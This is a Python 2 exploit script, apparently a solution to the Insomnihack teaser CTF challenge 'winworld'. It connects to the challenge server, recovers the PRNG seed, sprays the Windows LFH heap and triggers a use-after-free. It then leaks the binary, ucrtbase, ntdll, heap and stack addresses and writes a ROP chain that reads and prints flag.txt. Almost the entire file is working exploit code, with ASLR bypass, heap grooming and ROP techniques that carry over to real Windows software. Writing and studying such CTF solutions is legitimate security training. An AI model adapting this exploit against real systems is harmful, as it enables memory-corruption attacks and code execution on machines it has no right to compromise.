Permalink
Find file
89d2f78 Jan 27, 2017
executable file 646 lines (497 sloc) 16.6 KB
#!/usr/bin/env python2
# encoding: utf-8
import sys
import time
import ctypes
import socket
import struct
import hexdump
import telnetlib
from ctypes.util import find_library
# for pathfinding
import numpy
from heapq import *
PORT = 1337
if 'remote' in sys.argv:
HOST = 'winworld.teaser.insomnihack.ch'
BINARY_BASE = 0x7ff7b02d0000
UCRTBASE = 0x7ff8e06a0000
NTDLL = 0x7ff8e3590000
else: # windows 10
HOST = '172.16.62.147'
BINARY_BASE = 0x7ff79b9e0000
UCRTBASE = 0x7ffa86d40000
NTDLL = 0x7ffa89a80000
MAX_ROWS = 60
MAX_COLS = 150
park_map = []
maze_x, maze_y = 0, 0
day = 1
if len(sys.argv) < 2:
print "Usage: %s <leak_base | leak_ucrtbase | leak_ntdll | getflag>" % sys.argv[0]
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def rand():
return libc.rand()
def rop(gadgets):
return ''.join(struct.pack("<Q", gadget) if type(gadget) != str else gadget for gadget in gadgets)
def heuristic(a, b):
return (b[0] - a[0]) ** 2 + (b[1] - a[1]) ** 2
def astar(array, start, goal):
neighbors = [(0,1),(0,-1),(1,0),(-1,0)]
close_set = set()
came_from = {}
gscore = {start:0}
fscore = {start:heuristic(start, goal)}
oheap = []
heappush(oheap, (fscore[start], start))
while oheap:
current = heappop(oheap)[1]
if current == goal:
data = []
while current in came_from:
data.append(current)
current = came_from[current]
return data
close_set.add(current)
for i, j in neighbors:
neighbor = current[0] + i, current[1] + j
tentative_g_score = gscore[current] + heuristic(current, neighbor)
if 0 <= neighbor[0] < array.shape[0]:
if 0 <= neighbor[1] < array.shape[1]:
if array[neighbor[0]][neighbor[1]] == 1:
continue
else:
# array bound y walls
continue
else:
# array bound x walls
continue
if neighbor in close_set and tentative_g_score >= gscore.get(neighbor, 0):
continue
if tentative_g_score < gscore.get(neighbor, 0) or neighbor not in [i[1]for i in oheap]:
came_from[neighbor] = current
gscore[neighbor] = tentative_g_score
fscore[neighbor] = tentative_g_score + heuristic(neighbor, goal)
heappush(oheap, (fscore[neighbor], neighbor))
return False
def get_directions(array, start, end):
directions = astar(array, start, end)[::-1]
res = ""
cur_x, cur_y = start
for (x, y) in directions:
if x > cur_x:
res += "d"
elif x < cur_x:
res += "u"
elif y > cur_y:
res += "r"
else:
res += "l"
#print "(%d, %d) -> (%d, %d) -> %s" % (cur_x, cur_y, x, y, res[-1])
cur_x, cur_y = x, y
return res, directions
def find_maze_center():
global park_map, maze_x, maze_y
for row in range(MAX_ROWS):
park_map.append([0] * MAX_COLS)
obstacles = ((MAX_ROWS * MAX_COLS) / 5) + (rand() % MAX_COLS)
while obstacles:
pos_x = rand() % MAX_ROWS
pos_y = rand() % MAX_COLS
if park_map[pos_x][pos_y]:
continue
park_map[pos_x][pos_y] = 1
obstacles -= 1
if obstacles == 0:
break
nearby_obstacles = (rand() % 30) % obstacles
while (nearby_obstacles):
direction = rand() % 4
pos_a = pos_x
pos_b = pos_y
if direction == 0:
pos_a -= 1
elif direction == 1:
pos_a += 1
elif direction == 2:
pos_b -= 1
else:
pos_b += 1
if pos_a < 0 or pos_a >= MAX_ROWS or pos_b < 0 or pos_b >= MAX_COLS:
continue
pos_x = pos_a
pos_y = pos_b
if park_map[pos_x][pos_y]:
continue
park_map[pos_x][pos_y] = 1
nearby_obstacles -= 1
obstacles -= 1
while True:
maze_x = rand() % MAX_ROWS
maze_y = rand() % MAX_COLS
if park_map[maze_x][maze_y] == 0:
break
def send(s, text):
s.sendall(text)
def read(s, length):
return s.recv(length)
def readlen(s, length):
return ''.join(read(s, 1) for _ in range(length))
def sendline(s, text):
send(s, text + "\n")
def readuntil(s, stop):
res = ''
while not res.endswith(stop):
c = read(s, 1)
if c == '':
break
res += c
return res
def interact(s):
tn = telnetlib.Telnet()
tn.sock = s
tn.interact()
s.close()
sys.exit(0)
def readall(s):
out = ''
while True:
c = read(s, 1)
if c == '':
break
out += c
sys.stdout.write(c)
sys.stdout.flush()
return out
def craft_person(func_ptr, leak_addr, size):
payload = struct.pack("<Q", func_ptr) # func pointer
payload += "\x00" * 24 # friends std::vector
payload += "\x00" * 24 # sentences std::vector
# std::string name
payload += struct.pack("<Q", leak_addr)
payload += "JUNKJUNK"
payload += struct.pack("<Q", size) # size
payload += struct.pack("<Q", size) # max_size
payload += struct.pack("<I", 1) # type = GUEST
payload += struct.pack("<I", 1) # sex
payload += "\x01" # is_alive
payload += "\x01" # is_conscious
payload += "\x01" # is_enabled
payload += "\x01" # padding
payload += struct.pack("<I", 1337) # days
payload += struct.pack("<I", 1337) # moves
payload += struct.pack("<I", 1337) # deaths
payload += struct.pack("<I", maze_x) # pos_x
payload += struct.pack("<I", maze_y) # pos_y
payload += struct.pack("<I", 1337) # attack
payload += struct.pack("<I", 1337) # health
payload += struct.pack("<I", 1337) # max_health
payload += struct.pack("<I", 1337) # luck
payload += struct.pack("<I", 0) # sex_affinity
payload += struct.pack("<I", 0) # padding
return payload
def spray_person(payload):
for i in range(0x100):
print "\r%d / %d ..." % (i + 1, 0x100),
sendline(s, payload)
print
sendline(s, "info h7")
readuntil(s, "Name: ")
leak = readuntil(s, "Type: male guest")
readuntil(s, "narrator [day 2]$")
return leak
print '[+] Discovering the PRNG seed...'
readuntil(s, "--[ Welcome to Winworld, park no ")
prng_leak = int(readuntil(s, " ").split(" ")[0])
seed = int(time.time())
libc = ctypes.CDLL(find_library('c'))
libc.srand(seed)
if rand() % 1337 != prng_leak:
print ' Clock not synced with server...'
for i in range(-60, 60):
bf_seed = seed + i
libc.srand(bf_seed)
if rand() % 1337 == prng_leak:
print '[+] Resynced clock, delay of %d seconds' % i
break
else:
print '[-] Synchronisation fail...'
sys.exit(0)
find_maze_center()
print '[+] Found the maze center: (%d, %d)' % (maze_x, maze_y)
print "[+] Check the map for people positions"
sendline(s, "map")
readuntil(s, "----+\r\n")
data = readuntil(s, "+-----").split("+----")[0]
data = data.replace("|", "")
data = data.replace("\r", "")
data = data.split("\n")
array = []
for line in data:
if len(line) < MAX_COLS:
continue
row = []
for c in line:
if c == ' ':
row.append(0)
else:
row.append(1)
array.append(row)
nmap = numpy.array(array)
end = (maze_x, maze_y)
obj_size = 0x90
print '[+] Make sure that LFH is enabled for bucket of sizeof(Person)'
for i in range(6):
print "\r%d / %d ..." % (i + 1, 6),
sendline(s, "new guest male plz_enable_lfh_" + str(i))
print
print '[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious'
for i in range(0x100):
print "\r%d / %d ..." % (i + 1, 0x100),
sendline(s, "C" * obj_size)
print
print '[+] Cloning host, with uninitialized memory this one should have is_conscious...'
sendline(s, "clone h0 pwnrobot")
if sys.argv[1] == 'leak_base':
pwnrobot_gid = 0x10 + 3
print '[+] Create some guests for later use...'
for i in range(0x10 - 6):
print "\r%d / %d ..." % (i + 1, 0x10 - 6),
sendline(s, "new guest male flood%d" % i)
print
else:
pwnrobot_gid = 9
print '[+] Removing current friends of pwnrobot...'
sendline(s, "friend remove h7 h3")
sendline(s, "friend remove h7 g1")
# put "the man in black" on the maze center
sendline(s, "info g0")
readuntil(s, "Position: (")
data = readuntil(s, ")").split(")")[0].split(", ")
start = (int(data[0]), int(data[1]))
print '[+] Moving a guest to the maze center {} -> {}...'.format(start, end)
array[start[0]][start[1]] = 0
moves, directions_guest = get_directions(nmap, start, end)
sendline(s, "move g0 " + moves)
# put the pwn host on the maze center
sendline(s, "info h7")
readuntil(s, "Position: (")
data = readuntil(s, ")").split(")")[0].split(", ")
start = (int(data[0]), int(data[1]))
print '[+] Moving our host to the maze center {} -> {}...'.format(start, end)
array[start[0]][start[1]] = 0
moves, directions_host = get_directions(nmap, start, end)
if 'show_moves' in sys.argv:
for x in range(MAX_ROWS):
res = ''
for y in range(MAX_COLS):
if array[x][y]:
res += '#'
elif (x, y) in directions_host:
res += '.'
elif (x, y) in directions_guest:
res += '*'
else:
res += ' '
print res
sendline(s, "move h7 " + moves)
print '[+] pwnrobot should now be a human... kill him!'
for i in range(10):
sendline(s, "move g0 lr")
readuntil(s, "pwnrobot met a tragic death")
sendline(s, 'fail')
readuntil(s, "fail")
print '[+] Removing all pwnrobot\'s friends...'
for i in range(7):
print "\r%d / %d ..." % (i + 1, 7),
sendline(s, "friend remove g%d h%d" % (pwnrobot_gid, i))
print
sendline(s, "info g3")
print '[+] Decrement the refcount of pwnrobot\'s human share_ptr to 0 -> free it'
sendline(s, "next_day")
day += 1
readuntil(s, "narrator [day 2]$")
# First mandatory leak to bypass ASLR: the binary base
if sys.argv[1] == 'leak_base':
print '[+] Begin spray with std::strings'
for i in range(0xf0):
print "\r%d / %d ..." % (i + 1, 0xf0),
sendline(s, "D" * obj_size)
print
print '[+] Finish spray with friends vectors'
for i in range(8):
for j in range(7):
sendline(s, "friend add g%d g%d" % (3 + i, 8 + 3 + j))
print
print '[+] Trigger leak'
sendline(s, "info h7")
readuntil(s, "Name: ")
leak = readlen(s, 8)
binleak = struct.unpack("<Q", leak[:8])[0]
print '[+] Binary leak: %#x' % binleak
binary_base = binleak - 0x17158
print '[+] Binary base: %#x' % binary_base
assert(binary_base & 0xfff == 0)
sys.exit(0)
print '[+] Spray 0x100 std::string to trigger UAF'
# Second mandatory leak: we need ucrtbase's base to get ucrtbase!gets and do further leaks more reliably
if sys.argv[1] == 'leak_ucrtbase':
print '[+] Leaking ucrtbase!strol from IAT...'
iat_strtol = BINARY_BASE + 0x162e8
payload = craft_person(func_ptr=0x4242424242424242, leak_addr=iat_strtol, size=0x100)
leak = spray_person(payload)
strtol = struct.unpack("<Q", leak[:8])[0]
print '[+] ucrtbase!strtol: %#x' % strtol
ucrtbase_base = strtol - 0x2360
print '[+] ucrtbase base: %#x' % ucrtbase_base
assert(ucrtbase_base & 0xfff == 0)
sys.exit(0)
# Third leak: NTDLL (2 pointers are in the IAT: those of CFG)
elif sys.argv[1] == 'leak_ntdll':
print '[+] Leaking ntdll!LdrpValidateUserCallTarget from IAT...'
iat_LdrpValidateUserCallTarget = BINARY_BASE + 0x164c0
payload = craft_person(func_ptr=0x4242424242424242, leak_addr=iat_LdrpValidateUserCallTarget, size=0x100)
leak = spray_person(payload)
LdrpValidateUserCallTarget = struct.unpack("<Q", leak[:8])[0]
print '[+] ntdll!LdrpValidateUserCallTarget: %#x' % LdrpValidateUserCallTarget
ntdll_base = LdrpValidateUserCallTarget - 0x964a0
print '[+] ntdll base: %#x' % ntdll_base
assert(ntdll_base & 0xfff == 0)
sys.exit(0)
# Fourth leak: heap
gets = UCRTBASE + 0x72dc0
# leak first heap entry
payload = craft_person(func_ptr=gets,
leak_addr=BINARY_BASE + 0x1fbd0,
size=0x100)
leak = spray_person(payload)
heap_ptr = struct.unpack("<Q", leak[:8])[0]
print '[+] heap leak: %#x' % heap_ptr
heap_ptr -= 0x2000
# Fifth leak: stack
print '[+] Leaking stack ptr...'
while True:
print '[+] Dumping heap @ %#x...' % heap_ptr
payload = craft_person(func_ptr=gets,
leak_addr=heap_ptr,
size=0x1000)
sendline(s, "move h7 rl") # trigger gets
sendline(s, payload)
sendline(s, "info h7")
readuntil(s, "Name: ")
leak = readuntil(s, "Type: male guest")
readuntil(s, "narrator [day 2]$")
leak = leak.replace("\r\n", "\n")
qwords = []
for i in range(0, len(leak), 8):
qword = struct.unpack("<Q", leak[i:i+8].ljust(8, "\x00"))[0]
if qword > (2 << 32) and qword < (heap_ptr & ~(1 << 32)):
qwords.append(qword)
if i % 0x1000:
i += 1
if len(qwords) == 0:
heap_ptr += 0x1000
continue
qwords = sorted(list(set(qwords)))
print '[HEAP] %#x' % heap_ptr
for pos, qword in enumerate(qwords):
print ' [%02d] - %#x' % (pos, qword)
index = raw_input("Use which qword as stack leak? ")
if index != "":
stack_ptr = qwords[int(index)]
break
else:
heap_ptr += 0x1000
print '[+] stack @ %#x' % stack_ptr
print '[+] Leaking stack content...'
rip_found = False
while not rip_found:
payload = craft_person(func_ptr=gets,
leak_addr=stack_ptr,
size=0x400)
sendline(s, "move h7 rl") # trigger gets
sendline(s, payload)
sendline(s, "info h7")
readuntil(s, "Name: ")
leak = readuntil(s, "Type: male guest")
readuntil(s, "narrator [day 2]$")
for i in range(0, len(leak), 8):
qword = struct.unpack("<Q", leak[i:i+8].ljust(8, "\x00"))[0]
if qword == BINARY_BASE + 0x13519: # FIXME on binary update
offset = i
print "RIP at offset %#x" % offset
rip_found = True
break
else:
print "[-] Haven't found saved RIP on the stack. Increment stack pointer..."
stack_ptr += 0x100
print '[+] Overwrite stack with ROPchain...'
payload = craft_person(func_ptr=gets,
leak_addr=stack_ptr + offset,
size=0x300)
sendline(s, "move h7 rl") # trigger gets
sendline(s, payload)
pop_all = NTDLL + 0x96470 # pop rdx ; pop rcx ; pop r8 ; pop r9 ; ret
pop_rcx = NTDLL + 0x9bfed # pop rcx ; ret
add_rsp_38h = NTDLL + 0xb188 # add rsp, 0x38 ; ret
payload = rop([
NTDLL + 0x0fa146, # pop rbx ; ret
stack_ptr - 0x2000,
# open("flag.txt", O_RDONLY);
pop_all,
0, # junk
"ABCDEFGH", # buf
0x40, # mode
0, # junk
UCRTBASE + 0x1d3b8, # ucrtbase!sopen_s+0x38
# cleanup junk from open()
add_rsp_38h,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
# read(fd, buf, 0x100)
pop_all,
"ABCDEFGH", # buf
0x3, # fd
0x100, # size
0, # junk
UCRTBASE + 0x5de0, # ucrtbase!read
# cleanup junk from read()
add_rsp_38h,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
stack_ptr - 0x1000,
# puts(flag)
pop_rcx,
"ABCDEFGH", # buf
UCRTBASE + 0x07eb10,
# flushall()
NTDLL + 0x712d0, # ucrtbase!flushall
# gets()
gets,
])
payload += "B" * 60
payload = payload.replace("ABCDEFGH", struct.pack("<Q", stack_ptr + offset + len(payload)))
payload += "flag.txt\x00"
sendline(s, "update h7 name " + payload)
sendline(s, "suce")
readuntil(s, "Invalid command 'suce'")
print '[+] Trigger ROP chain...'
sendline(s, "quit")
try:
readuntil(s, "narrator [day %d]$ " % day)
readall(s)
except:
pass
print
print '[+] Exploit completed.'